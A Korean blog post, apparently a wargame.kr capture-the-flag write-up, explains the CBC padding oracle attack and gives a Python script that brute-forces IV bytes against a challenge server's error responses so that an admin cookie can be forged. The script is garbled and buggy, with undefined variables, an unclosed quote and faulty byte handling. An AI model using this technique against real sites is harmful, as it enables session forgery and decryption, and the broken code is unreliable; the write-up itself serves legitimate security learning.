Padding_Oracle_Attack_by_laughfool (2).pdf
(laughfool님 문서)
이공격은 간단히 말하자면 cbc모드에서 intermediary value를 알아내는 공격이다.
cbc모드의 암호화는
첫번째 블록에서
(평문)---(어떤 암호알고리즘ex)3-des)--(1차 암호문-intermediary value)---(xor initialization vector)---(최종 암호문)
의 형태로 이루어져있다.(두번쨰 블록은 위에서 initialization vector대신 바로 이전 블록의 암호문과 xor한다)
암호문은 IV(initialization vector)-CyrptBlock1-CryptBlock2-...
이런식으로 결과가 나온다.
intermediary value를 알게되면 잘하면 평문에서 처음 사용한 알고리즘을 추측해 낼 수 있고 다양한 변형이 가능하다
공격하는 방법은 padding을 이용하는데
위의 문서에 잘 나와있다.
padding이 실패하면 웹페이지에서는 500error를 주는데 이를 이용한다.
padding을 0x1~0x8까지 되어있다고 가정하면서 initial vector를 초기 00000000에서 뒤에서 부터 한바이트씩 브루트 포싱한다.
(brutefocing)IV+C1
같은 식으로 암호문 쿼리를 날려주면서 브루트 포싱한다
import http.client import base64 import binascii
def brute(cookie): con=http.client.HTTPConnection('wargame.kr:8080')
session='' head={'Cookie':'L0g1n='+cookie+';'+'ci_session=session} head['Upgrade-Insecure-Requests']=1 con.request('GET','/dun_worry_about_the_vase/index.php',headers=head) return b'error' in con.getresponse().read() def upack(_str): _list=[] for i in range(int(len(str)/2)): _list.append('0x'+str[i*2]+str[i*2+1]) return _list def pack(_l): arr=binascii.unhexlify(list(map(lambda x:hex(int(0x12))[2:],_l))) arr=base64.b64encode(c1) return arr c1=b'5mBvCT0sqhI=' c2=b'fE5wkGZreEs=' c1=upack(base64.b64decode(c1).hex()) c2=upack(base64.b64decode(c2).hex()) print(c1)#,c2) lv=[0,0,0,0,0,0,0,0] bf=list(x for i in range(0x100)) bf='\x01\x02\x03\x04\x05\x06\x07\x08\x09abcdefghijklmnopqrstuwvxyz' for i in range(7,0,-1): for j in bf: a=c1 lv[i]=j for l in range(8): a[i]^=lv[i] if(brute(pack(a)+pack(c2))): lv[i]=j print(lv) break print(lv) #lv='guest\x3\x3\x3' #admin=c1^lv^'adkmin\x3\x3\x3'+c2
'war game > wargame.kr' 카테고리의 다른 글
[wargame.kr]lonely_guys (0) | 2017.03.02 |
---|---|
[wargame.kr]dmbs335 (0) | 2017.02.25 |
[wargame.kr]simple board (0) | 2017.02.24 |
[wargame.kr]md5_password (0) | 2017.02.24 |
[wargame.kr]web_chatting - sql_injection (0) | 2017.02.20 |